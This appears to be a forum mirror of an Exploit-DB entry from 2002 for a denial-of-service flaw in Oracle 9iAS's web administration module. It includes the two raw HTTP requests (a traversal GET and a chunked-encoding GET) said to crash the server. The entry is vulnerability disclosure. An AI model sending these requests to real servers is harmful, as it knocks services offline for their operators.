- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 21911
- Проверка EDB
-
- Пройдено
- Автор
- @STAKE
- Тип уязвимости
- DOS
- Платформа
- MULTIPLE
- CVE
- cve-2002-0386
- Дата публикации
- 2002-10-06
Код:
source: https://www.securityfocus.com/bid/5902/info
Oracle 9i Application Server (9iAS) allows remote administration via a web access module. This vulnerability affects Oracle 9iAS running on Microsoft Windows.
When a custom request is sent to the Web Administration module, the module may react unpredictably. By sending a malicious custom request to the module, it is possible to cause the administration server to crash. A manual restart of the server is required to resume service.
GET /../ HTTP/1.1
host: hostname
<ENTER>
<ENTER>
GET /example.html/ HTTP/1.1
host: host name
Transfer-Encoding: chunked
<ENTER>
<ENTER>
- Источник
- www.exploit-db.com